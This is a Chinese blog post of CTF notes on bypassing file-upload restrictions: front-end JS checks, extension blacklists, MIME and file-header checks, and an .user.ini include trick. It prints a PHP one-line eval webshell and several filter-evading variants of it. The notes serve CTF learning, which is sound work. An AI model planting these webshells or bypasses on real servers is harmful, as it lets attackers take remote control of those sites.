CTF文件上传相关(持续更新)
前端绕过
[CTFHub] 前端验证
https://www.ctfhub.com/#/skilltree
前端验证有两种解决办法绕过:
1.在浏览器中禁用JavaScript
2.先把文件后缀改成符合上传的后缀,通过burp抓包把后缀改回.php格式再重新发送。

这里从F12可以看到启用了前端JS验证,采用第一种方法绕过,禁用JS。为了方便可以安装一个Chrome扩展,一键启用/禁用JS
禁用JS后再上传php一句话,使用蚁剑连接即可。

黑名单绕过
[SWPUCTF 2021 新生赛] easyupload2.0
https://www.nssctf.cn/problem/423
黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,这里放张表:
| 语言 | 可解析后缀 |
|---|---|
| ASP/ASPX | asp,aspx,asa,ascx,ashx,asmx,cer,cdx |
| PHP | php,php5,php4,php3,phtml,pht |
| JSP | jsp,jspx,jspa,jsw,jsv,jspf,jtml |
第十五届极客大挑战 baby_upload
文件名填 a.php 会被WAF拦截,填 a.php.php 上传成功。
MIME绕过
[CTFHub] MIME验证
https://www.ctfhub.com/#/skilltree
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下:
| 文件扩展名 | MIME-Type |
|---|---|
| .js | application/x-javascript |
| .html | text/html |
| .jpg | image/jpeg |
| .png | image/png |
| application/pdf |
这道题只需要通过burp抓包,将 Content-Type 改为 image/png 即可绕过,再使用蚁剑连接即可。

文件头绕过
[CTFHub] 文件头检查
https://www.ctfhub.com/#/skilltree
这道题只允许上传 jpeg jpg png gif 类型的文件,通过burp抓包,将 Content-Type 改为 image/png 或 image/gif,再添加GIF89A文件头即可绕过。

字符绕过
正常的一句话木马:<?php eval($_POST['pass']); ?>
- 如果过滤了
php或<?php,可以使用短标签绕过,即<?= eval($_POST['pass']); ?> - 如果过滤了
[ ],可以使用{ }绕过,即<?php eval($_POST{'pass'}); ?> - 如果过滤了
',可以不使用单引号,语句正常执行,即<?= eval($_POST[pass]); ?> - 如果过滤了
<?,可以用script标签绕过,即<script language='php'>eval($_POST['pass']);</script>
.user.ini
1 | auto_append_file=yjh.jpg //相当于在每个php文件尾加上 include('yjh.jpg') |
利用.user.ini的方法:保证三个文件(.user.ini、yjh.jpg、xx.php)在同一目录下,再执行该目录下的php文件。
[SUCTF 2019] CheckIn
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 go0d1uck's Blog!




